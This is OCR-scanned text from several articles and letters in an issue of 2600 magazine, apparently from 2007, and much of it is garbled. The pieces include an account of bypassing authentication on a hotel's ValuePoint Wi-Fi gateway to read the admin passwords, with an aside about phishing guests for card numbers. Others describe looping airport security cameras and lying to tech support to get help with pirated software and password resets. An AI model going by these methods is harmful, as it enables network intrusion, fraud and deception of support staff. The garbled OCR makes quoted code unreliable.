Dennis Hopper. But if you wanted to get
through one of those doors | mentioned
earlier all you'd do is recard a small video
clip of nothing happening on one of the
cameras, and then replay that clip as a loop
on the camera's frequency while you browse
the bookstores and luggage shops on the
gate side of the terminal.

There were other enticing finds up on
the top floor, including empty offices with
Simplex door locks (some with default
combinations and some that would require
either a few good guesses or else Google
for the 2600 article by Scott Skinner and
Fmmanuel Goldstein) as well as a nursery
and the offices of the TSA. That's right, |
walked around and past the security otfices
several times without being observed or
challenged.

Also up on the mezzanine was a closed
and locked branch of a large LS. bank that
was, in spite of several cameras pointing
at the front, open and accessible from the
back side. Behind the teller desk there
were offices with their network connected
Windows workstations, unlocked, and their
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numerous chairs, desks, office supplies, and
telephones. | literally had the opportunity
to rob a bank branch at the airport. Besides
a picture of me walking past the closed
and locked teller windows on the security
cameras, there would have been no way that
[ could have been linked to the crime had
I taken some elementary forensic prepara-
tions. Needless to say | passed up this golden
opportunity to spend several years in a slate
penitentiary, but the security holes remain as
I write this, waiting for someone with fewer
scruples (and mayhe better at climbing over
high walls) to take advantage of them.

Having identified these (and other) chinks
in the vaunted TSA armor, it was time for
me to approach the TSA workers. [ rode the
escalator down to the main terminal floor
(still on the streel side of the terminal, not
having passed through security) and began
to interact with the TSA workers.

At this point I'd been walking around
the terminal for about an hour, unmolested,
wearing my black t-shirt. | approached three
TSA goons/guards and asked about the
configuration of the escalators, namely the
one going upstairs was not adjacent to the
one going up from the floor below. The TSA
person told me that they did not know but |
could go ask Information. | explained that the
name of the information department was a
misnomer and that | would be more likely to
get an answer from maintenance. They told
me that they did not know where mainte-
nance was. | thanked them and walked back
upstairs to stare down on them in disgust.

I rode the escalator down from the
mezzanine level and stood in front of three
TSA workers wearing a hacker t-shirt, having
previously walked by them several times
in the past 60 minutes, and they neither
noticed me nor considered me suspicious.
Only in America....

Next | approached another group of TSA
workers at a different checkpoint and struck
up a conversation about an antique airplane
mounted from the ceiling of the terminal.
One of the TSA workers asked me something
like "Are you here to pick up someone or are
you here doing something else?” | assured
them, truthfully, that | was there for the
purpose of meeting an arriving passenger.
That satisfied them. | soon became bored
and went downstairs lo the arrivals area,
partly 1o be consistent with my story, but
also to scope out the lower floor.

Arriving passengers descend from the
gate area lo the baggage claim area. They
then proceed to the baggage carrousel. To

keep the riffraif out, there is an overhead r@
consisting of motion sensors and flashing
blue lights mounted above the base of the
descending escalators, This post is manned
by a TSA worker. Apparently il someone
tries to walk from the baggage area to go
up the down escalator, the lights flash and
a recorded voice shouts “Warning warning
do not proceed” or "Danger Will Robinson"
or something equally urgent. Problem was, |
only saw it activated when passengers came
down the escalator, creating false positives
which the TSA worker dutifully ignored.

In the interest of learning | approached
the TSA workers (by now there were two) and
asked them what lney referred to this device
as, what was its name? They seemed nol to
understand me. | tried asking the question
a different way. After the third attempt the
one that kind of spoke English explained 10
the one that ohviously did not speak English
that | was inquiring about the term that they
used to describe their particular security
device. The best answer that the two TSA ESL
candidates could produce was the one that |
ventured for them - sensor. Unless these two
woere martial arts teachers moonlighting as
securily goons, there was no hope that they
would be able to withstand any sort of brute
force attack, let alone something simple like
me distracting them while someone else
snuck bchind them and scooted up the esca-
lator (or stairs - there also were stairs, but
lazy American passengers always seemed to
use the escalator to descend to the baggage
claim area).

Finally, it was time for me to pick up my
arriving passenger. Their plane had arrived,
so | went upstairs to the mezzanine and
called their cell phone. | waltched through
the not-bulletproof glass that | could easily
detach as their plane taxied to the gate and
disgorged them, neither safe nor sound, into
my city's major airport lerminal.

In summary, there are two points to take
away. The first is that security is an illusion and
that the Emperor is, indeed, quite naked, if
you simply begin looking. The second, more
disturbing point, is that the government both
is lving to us and is spending shitloads of tax
money on nonsensical contrivances like the
Transportation Safety Administration, which
should be dismantled IMHO and replaced
with something that actually could identify
the small number of potential terrarists rather
than forcing the entire population of the
country to endure the misanthropic groping
of an uneducated illiterate workforce. End of
soapbox - happy hacking!
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by Akurei

I'm not much of a writer so please forgive.
Recently | was pissed off when 1 found Xfire
wouldn’t record the time | was spending
building NWN2 (Neverwinter Nights 2)
modules via the toolset. But it was more than
happy to record the time from the game. So |
went about tweaking this and in the process
found some fun things you can do

Everything listed here is very benign and
far more a mod than any real hack. Though
I'm sure given the proper exploitation you
could piss off Xfire quite a bit.

Upon browsing to your Xfire directory
you will find a file called "xfire_games.ini."
This holds all the game dataftracking info
the client calls upon to track your game-play
use. However the client makes no attempt to
match your client ini with their server side ini
unless a client update/patch changes them.
This of course leaves us a big window to
modify this all we want.

First let's see how to add those trackers
for the NWN 1 or 2 toolsets. Developers do
deserve credit, don’t they?

Open xfire_games.ini with any standard
text editor. It doesnt need to be anything
fancy. And there’s no encryption on this either,
so it's plain as day to read/understand.

For Neverwinter 1 do a search for Never-
winter and you should see the following:

- =\ s
Hacking xfire
b e

LongName=Neverwinter Nights
ShortName=nwn LauncherDirKey=HKEY_
= LOCAL_MACHINE\SOFTWARE\BioWare\
- NWN\Neverwinter\Location

Below that line you would add the

following:
DetectExe=nwtoolser . sxe

Save and you're done. It goes without
saying you shouldnt do this with Xfire
running. It wouldn’t cause any problems.
You'd just have to client restart for the new
ini to take effect.

For Neverwinter 2, follow the same steps
listed above (except keep searching past
NWNT1 until is says Neverwinter 2). This time
you should see the following code:

DetectExe [0] =nwnZmain.exe
DetectExe [1] =nwn2main amdxp.exe

In this case you would add the following:
DetectBxe [2] =nwn2toolset launcher.exe

Save again and you'll be set. Just remember
that when the client is updated/patched the
ini is not always changed. But you should
check each time as it likely will have been.
There are multiple workarounds for this
system as well, but that's another article.

If you've been paying attention, or have
even the slightest of nefarious minds, you can
see how this system is very open to exploita-
tion. Any system process could he slapped
into the ini for detect, to create a false result
on any game of your choice.

KWRITERS WANTED.

Send your article to articles@2600.com (ASCII text preferred, graphics
can be attached) or mail it to us at 2600 Editorial Dept., PO Box 99,
Middle Island, NY 11953-0099 USA. If you go the snail mail route, please
try to include a CD copy so we don't have to retype the whole thing if we

decide to use it.

Articles must not have already appeared in another publication or on
the Internet. Once published in 2600, you may do whatever you please
with your article,
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Hacker Perspectlve

by Mitch Altman

| don't know how ta define a hacker, but
I guess | am one. And whatever hacking is,
| derive great pleasure from it, and, more
recently, community as well.

| grew up in my own little world as a kid.
What choice did | have? Being tormented
daily and beaten up frequently by other kids
for being geeky, | quickly found that hanging
out by mysell was way better than being
subjected to the cruelty of the other kids
while the gym teacher (it's always the gym
teacher, isn't it} watched the scene with his
arms folded, encouraging their daily tortures.,
Not having other kids to learn from aboul
social norms, | looked at things and thought
about things in my own way. This was painful
as a kid, but it turned out to be a great asset
later in life. Starting from a depressed bloh
of a kid, | somehow learned to love life, and
hacking is a big part of how | did that. So
is TV. | see life as a hack. We keep hacking
away at it, making it as good as we can, an
sharing it as we go along.

How can anyone can be bored! Maybe
boredom has to do with feeling confined, like
in a hospital. Or a jail cell. Maybe it really
comes down to depression. While depressed
how can you be motivated to do anything?
Except maybe watch TV, That's what | did,
as a kid, as much as | could: after another
cay of anguish at the hands of my peers, I'd
come home and retreat into TV, | remember
thinking, while watching vet another episode
of Cilfigan's Island, "l don't really like this

why do | watch this every day?" But | just
kept walching. Time went away. Hours each
clay that | wasn't doing something enjoyable,
that | wasn't learning how to interact with
other kids, that | wasn't being active or doing
something healthy. And all the junk food 1 ate
in front of the thing made me even fatter. And
all the people on TV were beautiful, happy,
and any problems they had were solved by
the end of the half-hour show. They had
friends, they had warm, loving parents. It was
all so depressing! And the next day, back at
school, I was even more of a target: 1'd get
heaten and tormented all the more. So, 1'd
come home and retreat into TV, The cycle of
depression continued.

But one day, | made a choice for imvself,

not for someone else or what | thought others
wanted of me. | chose to stop watching TV.
And it sucked! | was bored. What to do? |
did some of the things that | had been doing
all along, but had neglected: taking apart
electronics, putting them h.lrk together,
ham radio, messing with phones, program-
ming the mainframe computer late at night
at the factory that let some ol us cub scouts
in during the wee hours when they didn"
need the computer power ta make chemi-
cally processed, frozen desserts for America.
Though | was still depressed, | saw that there
were some things | actually liked doing.

The first big system | tried to hack was
me. Like many of my first hacks, it wasn't
successful, | made a big mess of things. |
tried to hack myself into a wonderful person
for others and failed. Later | would figure
out that for some systems, such as myself,
it's way better to make use of strengths, as
well as find good uses for what | thought
were weaknesses, But back then there were
some successes on other fronts, | managed to
convince my parents to add a second phone
line to their house. | set to hacking a switch
that would connect the two phone lines
tagether after I'd call two pizza places, or
two bullies from school wha didn't like each
other. | soon learned that | had to unscrew
the phone's microphone so that no one
could hear me laugh, Wiring the hasement
for sound with the homemade stereos 1 built
was important for listening to Pink Floyd's
Dark Side of the Maon really loud, way hIL_h
on pot (from the homemade electronic bong
that | made), meditating on fixing myself so
that other people might actually want me
around.

That brings me to what really saved my
life. Pot. | know it's not fashionable in our
homeland-security-era to say that you did
drugs. But it was the 70s then and everyone
was smoking it, even the jocks. And after
somehow getting through junior high sc hnnl
alive (if not emotionally scarred for life),
found another system to hack: the sc hon!
district. | worked it so that | had a choice of
which of two high schools to go to and, natu-
rally, chose the one all the bullies did not go
to. And this high school had an electronics
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('Iass! Our class was full of future radio
repairmen of America. And total pot-heads.
At this very large suburban high school,
all you had to (ﬁ) was say, "I'm cool" and
that instantly let you into a circle of l_)eople
smoking pot, usually in the woods behind
the school. This was way belter than recess
with gym teachers. Who knew? Maybe 1'd
have figured out how 1o be with people some
other way, but | found out how to he silly
and laugh with people in this way. And, of
course, | wanle(rmorc. Which meant that |
abused the hell out of pot. And then other
drugs. | learned a lot from each one. But the
drugs took their toll, which is why | don't do
anything stronger than sugar and chocolate
anymore. Yet, somehow back then | was a
great student through it all, ‘cause | liked
learning. About everyrhini. How does it all
work? And why? Why, why, why, and why
a;flnin, brings you down to the smallest levels
of obscure inexplicable quantum mechanics.
Quantum is s0 bizarre that it makes litile
sense to anyone, including the people who
created the field (just like life). That means
that any meaning we find is our own busi-
ness. What could be cooler than that?

By this time | was in university learning
assembly on a Cyber computer (with 60-bit
words!). | instinctively gravitated to the onc
lab that didn't accept any military funding,
run by Ricardo, one of the greatest profes-
sors ever. Ricardo was about to be fired
lyet again) for not getting cnough military
funding. But Intel, a small semiconductor
company, donated about one million dollars’
worth of single-chip microcontrollers to our
lab. Here was a community of misfit intro-
vented geeks doing the coolest projects.
While the other labs were working on boring
missile giiidance systems, people in our lab
were working on robots, neural-networked
microcontrollers, music synthesizers, and
designing better microcode.

Ricardo would get all us geeks together
over pizza to talk about responsibility for
what we put into the world, communica-
tion (is it really possible, or is it just passing
information back and forth?), conscious-
ness (would it be theoretically possible for a
machine to have it, whatever it is?), and what
it means to be human.

It was during these get-togethers that |
gol hooked on community: a whole bunch
of people hacking their own socicty, mutu-
ally supporting each other into growing as
much as possible, individually and collec-
tively, becoming more of who we are all
the time. Starting off innocently enough
with group houses, leading to food coops,
community racdio, community centers for
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music and performance, fun civil disobedi“
ence events.... One thing led 1o another and
before | knew it | was starting a communce
in very rural Tennessee. This is way too long
a story for this column, but suffice it to say
that hacking societies in a commune will
be explorerFin the future by others hesides
myself. | found other means. Fleeing the
commune, | moved back to San Francisco
and started a RAID controller company with
a friend - and 3ware was born.

3ware was more community than the
commune ever was. At least at first. But like
all startups, the bozo-explosion took place
when the investors started hiring middle-
management, and then it was time to go back
to consulting. Why don't more of us consult?
I's the coolest way to hack your economy.
Life in the economy is a tradeoff between
time and money. For me, time is way more
valuable than making money. So, throughout
my adult life, I've worked a few wecks
consulring, making enough money to live
the rest of the year. That gives enough time to
travel, hang out with friends, volunteer, and
work on my own projects at home.

I discovered the world of consulting while
traveling down the West Coast afler driving
to Alaska. This is where | first learned to
be happy — working in a fish cannery of all
places. It finally clicked while I was chop-
ping the heads off of fish. | am free if | choose
to be. | have no control over the world, but
I have a lot of control over what 1 choose to
do with my time. Why not choose more of
what | truly enjoy? So, | chose to quit my job
chopping the heads off of fish and headed
back south.

Inleresting things happen when you let
them. People who don’t know me often
pick me out of a crowd and 1ell me stuff:
their problems, their opinions, or cven their
life story. In San Francisco this guy at an
obscure electronic music show randomly
decided to complain to me that he couldn't
find anyone to work with a 6502 microcon-
troller. Wouldn't you know that | had taught
assembly language programming for a few
years in university, using 6502s¢ He hired
me as a consultant on the spot. Together with
these folks we created the first Virtual Reality
machines (though, at the time we thought we
were working on a visually oriented program-
ming language and some input devices for
it).

Alter 3ware bozo-cd out, | made a
conscious choice to make time to cxplore
what I really love to do. By now I'd learned
that I didn't nced to fix myself, that | could
accept myself for even the parts that | don't
like. But | didn't really know what | loved
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(o do. So, after consulting enough to make
a year's worth of money again, | made time
to explore what | could do with my talent in
computers and electronics that | truly loved.
My hope was that | would somehow be able
to make enough money from whatever |
found to keep doing it (whatever it was). |
didn't know if it would work or not. | just
knew that | didn't want to make yet another
gizmo. | wanted to work on something mean-
ingful to me.

| started doing lots of volunteer work.
And | also started working on a microcon-
troller project that 1'd been thinking of for
about ten years but hadn't had the ene
to work on. This project was conceptually
so easy: push a button and the micro would
pulse an infrared emitter (like the ones used
in TV remote controls) with all of the power
codes for just about every TV. Had | known
that it was Eﬂing to take a year and a half to
make, or that it would take over my life, |
may not have done it. But | did. My original
hope was that 1'd sell a few here and there,
maybe breaking even on it. Instead it became
an overnight sensation and | had to start a
business to keep up with demand. As you
can imagine, there are aspects to running
any business that suck but, overall, | love TV-
B-Gone. | use the media attention as a fun
way to encourage people to think about TV
and its effects, encouraging everyone to take
any opportunity they can to make their own
choices to better their lives in their own ways.
And TV-B-Gone makes me and some friends
enough money to live off of. We're making a
living doing what we love. How cool is that?

But the coolest thing is that TV-B-Gone has
connected me to a world of way wonderful
people. If you watch TV you'd think that the
world is full of idiots. And it is. Why else

would all those gawdawful shows be so

popular, and why else would all those uutre:\
geously manipulative commercials be so
effective? But the world is also full of incred-
ible people doing so many amazing things.
it's just that we don't all know about each
other. But the means are at our disposal. This
magazine has existed for over 20 years, giving
a forum for geeks all over the world. MAKE
Magazine and their Maker Faire are bringin
hackers and makers of all sorts together. Off
The Hook has been an independent outlet for
information since 1988. Community radio
stations all around the U.S. are also beacons
of independent voice. The Internet (with all
its faults) provides a means for anyone to
know that they are not alone and to share
what we know and believe. HOPE confer-
ences have been providing fantastic experi-
ences of information and real live commu-
nity. And there are other hacker conferences,
such as CCC and DEF CON. The ability for
us to get together in community has never
been greater. Geeks of the world unite! At
least for long enough to know that we are not
alone so we can go back into our geeky little
worlds and create more cool technology that
make the world better for all of us. ?Eere is
no guarantee that what you do will succeed,
but what is guaranteed is that if you don't
make time to explore what you love, you will
not be doing what you love. [ can't prove it,
but | believe that if more of us do what we
love, the world becomes a better place for
everyone, Please choose well what you do
with the time of your life,

Mitch Altman is best known for inventing
TV-B-Cone, the popular keychain that can
turn off just about any TV in public places.
But he feels that his main accomplishment
has been, against all odds, learning to enjoy
life. Next time you see him, go up to him and
tell him your life's story.
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VALUE

by Sidge.2 & Bimmerfan

As some of you may know, the company
ValuePoint sells wireless access points to
some of the biggest hotel chains in America.
This includes Best Western, Choice Hotels,
Hampton, Hilton, Holiday Inn, Marriott, =°°
Ramada Inn, and many other subsid-
iaries as well as independent access
points and hotels around the world.
From http://www.valuepointnet .com:

ValuePoint  Networks  supports
hundreds of service and solution
providers worldwide by providing a
complete line of rugged, powerful,
and highly reliable wireless products
designed with the solution provider in B8
mind. Simply put, ValuePoint's prod-
ucts do the job the others cannot, and for a
price the others cannot match,

Founded in 2002 to develop products
designed specifically for hotspots and other
public access venues, ValuePoint has quickly
become a leader in this burgeoning space,

you first attempt to connect to any web page
you are redirected to the terms of service
page. The page is at IP address 1.1.1.1 but
also resolves on 192.168.0.1.

1 loaded
{nttp://122,768.0.1/heml /index, heml), The
html structure was what enabled us to find all
of the information to hijack the box. My first
idea was a basic one - just look at the login
form and see where it was submitting.

the index instead

page

and has expanded into other markets as
well, such as industrial, WISP, MTU/MDU,
and municipalities. ek toh \

With  Rugged Access Points and :; u1m;?£-(§,gﬁtm_hur,~mu~ﬁm-§;
Advanced Gateway Controllers, shipping /7 window.open(*senu_os.htal®," leftFrame”);
since early 2003, ValuePoint Networks' ¢/ window.open(“top_as.html”,"topFrame” );
products are deployed today in thousands
of venues around the world.

Hotels, marinas, shopping malls, RV
parks, MTUs, MDUs, and virtually every
imaginable focation are operated using
ValuePoint Networks' renowned SuperAP,
MultiAP, SuperMesh, and Gateway Controller
products.

ValuePoint offers our customers superior

<b—
<ot ipt nomes"Javoscript”s

</seripts
—3

So | did what any halfway intelligent
person would do.

Reload

Open Frame in New Window

solutions at much lower price points, thereby 5
minimizing your up-front capital investment. Pt F:r:;
Recently | stayed at the America’s Best b daliva

Value in Las Vegas. We stayed there because
it was cheap, near the monorail, and they
offered "Free Wi-Fi." | wont give a hotel
review. We paid for a cheap hotel and that’s
what we got. But, if someone advertises
free Wi-Fi they should deliver. The WiFi
connection was shoddy at best and haliway
through the second day it stopped working
completely. We decided to investigate. When
~ Summer 2007

The frame source for the login screen was
far more interesting than | had previously
expected. It turns out that ValuePoint’s secu-
rity setup is mostly done in JavaScript. This
goes for their pageloads as well. Lipon exam-
ining the source for the left column | found
something fairly interesting.

/
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<SCTIpt nomes"Javascript >
function pageload( M

/¢ window,open(“os_systes.html",“sainFrome®);
- ' B ki . e B

7/ window.open(“top_gs.ntal" ,"topFrome” );
}
<fscript>

—

It appears that there are three windows
that open. This site uses frames and the
JavaScript simply overwrites the current
frame with the new html. The problem is
that "as_system.html" in the mainframe finds
nothing. So | did the next besi thing and
loaded the menu_as.html. It worked like
a charm and actually loaded. The menu it
loaded was the preloaded and highlighted
"Advanced Settings" menu. After sing
through several options and finding unl{ a
few that seemed to do anything, we clicked
on the apply Settings button at the bottom
and then clicked that it was OK to reboot.
The ping routine we were doing on a sepa-
rale computer stopped. Fven ed out,
the reboot routine worked. After the server
rebooted 1 decided to try the only other
button | hadn't tried. It appeared to bring up
a file called "sitemap.html.” | clicked on it
and it brought up three new windows, This
was the Key. | tested this in two browsers on
my Mac. It did not work in Firefox but it did
work in Safari.

VRLUEPO N T

This is the sitemap and for navigating this
system in one frame | couldn’t find anythin,
better. Now at this point we're in the ba
end of the system and can get to anything and
Change anything. The pmlﬁem is that there

are a few sleps for every change and | reall;'\
wanted to get the same view as the adminis-
trators. So we decided to see if we could find
oul what the administrator password was. So
we browsed through and clicked on Admin.

After you click a link you are greeted with
this message on top of the _cl_)hpening “terms
of service” agreement page. The reason this
hack works is because of an insecurity in
the Java code that authenticates. It loads the
correct paﬁgnand then checks to see if you
are an authentic user. If you are not authen-
ticated it loads the TOS into the mainirame
overwriting the information that you want
to get. By loading this in separate windows
you bypass the ability to perform this specific
action, In Safari, the window with the error
message loads in a new page leaving the data
untouched and open. This enables you to see
anything that you want. Now, as | said, this
is casy. But for me, it’s always easier to find a
username and password so that | can really
see what the managers see. So we navigated

Qmm

F

to the admin page under the System Tools.

Under the window that | closed | saw this.
It is the admin page and contains the user-
name and password fields for both root and
subscriber manager privileges. | expected at
least MD5 encryption but we figured since
ﬂ:ereslafll'l.extem. was so poorly made we
would check. So we did the easiest thing we
could think of.
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it couldn’t be this easy though, could it?

Hide Address Bar L3
Customize Address Bar

Hige Beokmarks Bar G XB

Hide Status Bar n/
Reicad Page WA
Make Text Bigget -
Make Text Smaler L3
View Source ML
Text Fnceding »

Sadly, yes. [ was this casy. We ascertained
the user and password and the only thing left
to do was 1o give it a try.

enn

Tl versione”l. 9% Tctuml~itylethest Lype="test/ 21" hrefa®/ntmil/
st_Systemacnt , re | " ?a-cHOt Spot s<idmd n_usar nomeadm n</adimn_usar nomes
atatr_pas swar

‘odmin_pasTvords
&/ SUPETY1LS0F _USET rame
/EUPRTVIEAr _pas swof

CAPErVISOr _pasiwird:s
</Hot Spot:

And there we have it. We now have
complete control over our motel’s network.
We can change whatever we want including
terms of service and the forwarding page.

Or we could change the lagin page infor-

L EaTal

- Gl ¢ v 00 e

R e

Source of http://192.168.0.1/cgi-bin/xmiParsingCGl

mation. Basically anything we wanted. Sadly,
we were unable 10 fix the server. Oh well,
maybe next time. For now we just left some
information on how we got in and then we
got out of there. This is by far the casiest
intrusion attack that I've cver done and on
one of the most widely available nationwide
systems. It just goes to show you that il you
are involved in a business that always buys
the cheapest gear you should expect to get
broken into. Sometimes it is better in the long
run to spend alittle money in order to prevent
fraud on vour system. There is no reason that
I couldn’t have changed the Terms of Service
page inlo a credit card validation page where
a hotel member enters their
number and name and security
code with a disclaimer saying
“the Ethernet is free but we miust
verify your credit card number
1o that on your room (o confirm
that you are slaying al our
hotel." How many cards could
we have gotten before they Tigured it out?

For anyone using this system: Find another
system. Breaking this one took all of ten
minutes. 11 is not worth the hassle to your
customers and your security.

[reerp—
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by ilikenwf
rwok@gmail.com

Arrhamlg;y is ay::‘lrm that describes
unearthing an artifact that is old, long lost, or
forgotten. The Internet is no different from the
real world in the sense that it too has artifacts
of media from days gone by. You just have to
know where to look. The best place to start
is the Internet Archive "Wayback Marchine,"
(http://web.archive.org) which houses over
eight petabytes of old information gleaned
from the earliest days of the Internet up to
now. Just put in an address and you can view
a site, provided it was indexed, all the way
back to 1996.

Beabini Mathiod

| had wanted t:‘End as much "lost* TechTV
and ZDTV media as possible for nostalgia's
sake. Starting out, | just was viewing the sites
by individual archive dates. This was way too
tedious and time consuming to be worth-
while and it didn't really give me much to
work with. Digging around on the archive's
information pages, | discovered that searching
sites with wildcards (*) is supported. To give
it a shot, | typed in http://www. rechty. com/*
as well as htep://www,zdtv.com/*. These
searches yielded long lists (45,000+) of pages
from the two domains. At first it was really
slow to sift through the information until 1
found a way to speed it up - go to the bottom
of the search page and set the number of
results displayed to 30. Then, when the page
reloads, the url will look like this: heep://
wweb.archive.org/web/*ar_1nr_30/hccp://
wurl.com/*, Just change the 30 to a reason-
able number that won't cause your hrowser
to crash and load the page from your edited
url. The list will be much larger, therefore
you don't have to click "next" over and over
again. Then, scroll/pagedown through the
content looking for interestingly named files
and files with uncommon extensions, like
pdf, psd, zip, etc. Find one, click the link,
and if there is only one copy of that file in
the archive it will pop right up unless it was
indexed incorrectly. Otherwise you will get

a choice of dates the file was archived on.
Choose the first one. Keep working through

the dates until you find a ?IOOd uncorrupted
copr of the file (see tips and tricks section for
expla

nation).
Subdomains

The lem with this method is that it
doesn't search all of the subdomains of a
top level domain address. To do this, either
use a whois search, examine the web page’s
(html, php, xml, etc.) files' sources and look
at the paths. (See about using wildcards like
* techtv.com.) Using a combination of these
methods, as well as my memory of the sites,
| stumbled across subdomains like cache.
techtv.com, chat.techtv.com, and on and on.
You can see a list of the domains | found at
http://www.mattparnell,com/2600/techtw
wsubdomains , txt.

See The Findings

Using the above methods, | searched
other domains and found all sorts of stuff: a
font of Cat's handwriting, psd and eps source
images for many of the show's logos, lots of
walﬁ::pers, avatars from the old ZDTV chat
palace, among other things. | also found
many video and sound clips from the old
“Fox Kids" television network on the archived
copies of foxkids.com. All in all, | was ve
successful and very pleased. You can gra
a copy of my discoveries from nttp://www.
wmattparnell.com/arch.html.

http://www.mattparnell.com/
arch.html.Practical Uses

These methods can all be used for good or
evil - you can see the inner workings of sites
that have, since archiving, locked down areas
that were once ublicﬁ open. Sometimes
you can even find media that was free but is
now charged for, thus saving you money. In
truth, the sky's the limit! Have fun!

Some Tips and Tricks

1. These methods will give you files other
than "web only" files, such as executables,
zip files, and video files too!

2. One problem is that some of the zip
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”?iit's and exe files get garbled and corrupted
during transter to the archive (especially on
older pages) and don't always work. You
can sometimes repair the zip files, but many
times it doesn't work. Try finding another
archive date with the same file. Otherwise it
is best to move on.

3. Take note that you aren't really supposed

Hacl(ing Answers

by Gateway

by Franz Kafka

lused to work as a technical support repre-
sentative for Answers by Gateway and would
serve as a corporate guardian fo ensure that
people calling in about pirated software or
1o help crack passwords were not helped,
| have parted ways because my colleagues
have a different mentality about hacking than
I. Most people who work as a technician
iwith some exceptions) can't program in any
language, not even in Visual Basic.

But there are some ways the people who
call in to Answers by Gateway can get help.
lie to the technician. There is no way that we
can verify over the phone that the copy of
Microsoft Office or your OS is pirated unless
vou tell the technician, so don't tell the tech-
nician that it is an illegal copy. Remember
if you are calling in for support on an OEM
copy of Windows to tell the technician that
it came with the machine. (We won't tell
vou this, but all copies of Windows that are
a full version OS and not an image disc will
work on any machine as long as you have
the product key. The frick is to 1) lead us to
believe that the disc came with the machine
or 2) lead us into thinking that you bought
a new copy of Windows to install on your
machine.)

Some of the technicians are anal reten-
tive and may want you to describe what your
Windows CD looks like. Use Google Images
and describe the image of the CD that you
see. Again, we can't tell if you're lying to
us over the phone because you are caﬁing
a support technician and not a psychic. Use
this fact to your advantage.

Gelling us to help with passwords is a bit
trickier, Sometimes if there is a password for
Windows XP, you can boot into Safe Mode
and login as the administrator and get in
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to download from the archive. People do E\
anyway, but you really should make sure that
you don't sell the material you find and use
it for "educational” and "archival" purposes
only.

If you have any questions, please post in
my forums ot nctp: /S
- {oruma OF CMail me.

ittparnel_ . com

| " ] Y 1
- e <

S ‘m ' .-J
without a password. If you can't get into Sate
Mode without a password, we won't be able
to help you. What you need to do is this: Tell
us that something is preventing you from
starting Windows normally and you need
help backing up your data in Safe Mode.
Tell us you can't get into Windows normally
because of a virus, a power surge, your kid
tried to install his PS2 game in Windows and
hosed the system, or you opened that piciure
of Britney Spears that your boss senl to you,
Whatever you do don’t mention that there
is a problem with your password. Better yet
don’t even mention the word password. A
lot of technicians at Gateway will refuse to
help you il they suspect that you are calling
in about a password issue.

If you need to reset your BIOS password,
ask us to help you replace the battery on
your motherboard. Replacing this battery
will reset your password without you even
needing to mention the password issue 1o the
technician.

Another part of our job is selling you
things that you don’t need. Most of the
security software that we sell is worse than
programs such as AVG and Ad-Aware that
you can download for free. Some employees
are salesmen posing as technicians and will
try to sell you a new system when all you
need to do is reload your operating system.

When you call you are really playing the
lottery. You are gambling that you will reach
a good knowledgeable technician that knows
what he is doing. Most of the time you will
lose,

Be careful when you call for support on
your compuler. | can only comment about
how Gateway operates, but | suspect that
most other companies’ support centers
would be about the same. y
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Suggestions

Dear 2600:

Hi there. Been reading your magazine off
and on for over a decade. | have a couple
of good ideas for articles but I'm not sure if
the subject has heen covered in past issues.
It would be nice to see a list of past article
titles and subjects on your website. If there is
a list already, it would be nice to see it in a
more accessible location on your website as
I couldn't find it. Thanks for everything you
do for the community at large and for partici-
pating in our constitutional freedoms instead
of just having them.

Loj1k

We do have a list that’s available in the back
issue section of our online store (store.2600.
com) on an issue by issue basis. You're right -
we can cerlainly do better and make this more
centralized and organized. We've added it to
our huge list of things to improve.

Dear 2600:

While trying to put together some articles |
want to submit, | realized there seems 1o be a
troubling lack of information available about
submitting materials to 2600. Sure, we all know
what email addresses to send our letters and
articles to, hut beyond that the 2600 site is not
very helpful. | find myself paging through back
issues hoping that somebody has already sent
in a letter asking the question | want answered.
It's a bit strange that a magazine devoted to
society's right to the free expression of ideas
and the exchange of information would be so
impassive on how exactly one would exercise
those rights.

Al least once an issue | see a letter from
somebody asking if such and such an article
would be accepted if they were to write it.
There is usually a letter asking if 2600 will
protect the author's identity should there he a
backlash after the article went to print in each
issue as well. These repetitive questions, while
certainly important, are really just a waste of
paper when constantly reprinted.

Perhaps equally as problematic as the
questions that are constantly answered are the
ones that are never answered. For instance,
how many characters per line should one have
in their article? Should an author send in an
image to be used for the top banner above their
article, or do the editors handle that? Ii you
want the articles to be written in plain ASCII
text, how do we convey to the editors if we
want some parts to be italicized or bolded?

Now obviously vou try and keep the
requirements down to a minimum 1o make
things easier for the author or to accommodate
to their situation, which is definitely the right
approach to take. But clearly the editors also
have preferences as to how things should be
done 1o make their lives easier, and given the
opportunity | would like to adhere to those
preferences as closely as possible.

[ think it would be very helpful o create a
FAQ) with these types of questions that could
go up on the 2600 website. The editors could
write up the core content, and then perhaps
the long time submitters to the magazine could
add in their own tips or comments via email to
whoever would be in charge of maintaining
the FAQ).

Ideally it would be a wiki page where the
2600 community as a whole could document
their experiences with the submission process,
but the time and resources required to get that
running rather than just putting up a simple
text file are understandably prohibitive.

Such a document could really help ease
concerns and clear up confusion for authors
who are hesitant about sending something
in. It could only have a positive effect on the
community, and with luck might even spur an
influx in submitted materials.

MS3FGX

It’s not really fair to say we're “impassive”
on this or that it has anything to do with free
expression. We're just incredibly busy and we
thought the word was already out on how to
submit articles properly. Anyone emailing us
gets an automatic reply with guidelines. There's
no real way to avoid repeating ourselves for the
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»enelit of those who don't read what is said
online. We intend 10 make the online guidelines
more detailed but again that won't do anything
for the people who don’t sce them. As for ques-
tions that are “never answered,” it's not pan of
anything intentional. It’s possible nobody has
ever asked us how many characters per line an
article should have. (This is irrelevant as we do
all the formatting here.) There are many ways
to convey emphasis in ASCH text - you don't
need us to tell you how (we hope). And if we
expected our writers (o put together the layout
design, we would certainly have made that
clear. What do you think the odds would be of
cveryone doing that on their own without our
saying a word up until now?

The idea of a FAQ is a good one and it
prohably wouldn’t require much more time
1o put together than what we've already spent
here on this issue.

Complaints

Dear 2600:

The new printers should be locked in the
bathroom with nothing to read except for
-xamples of their own work. I bought my copy
of 23:4 at my local Borders store like I usually
do. (They display it prominently and this time
it had its own little wire rack fastened to the
wooden newsstand rack, right in front of all the
sociopolitical publications that range from the
! ltne Reacler to The Advocate.) I pulled a clean
anwrinkled copy from the middle of the stack
and observed ils new square glued binding.
After looking around for a few minutes at other
books and magazines in the store, | noticed my
fingers were sticking to the cover....

U didn't actually open the magazine
and read it until | got home. The first thing |
noticed upon reading the inside cover with the
payphones was that it was really hard to read
some of the text. The white text on the black
background wasn't really the problem; rather,
the printing was just really weak in places, with
some of the leftering nearly missing altogether.
And I thought [ picked a good copy out of the
pile! This sectional fading was also present on
some of the inside pages as well.

Alter reading about halfway through the
issue, | noliced my fingers had black all over
them and (hat it was rubbing off on the insicle
pages. | thought the print on the inside pages
was smearing and il may have actually been
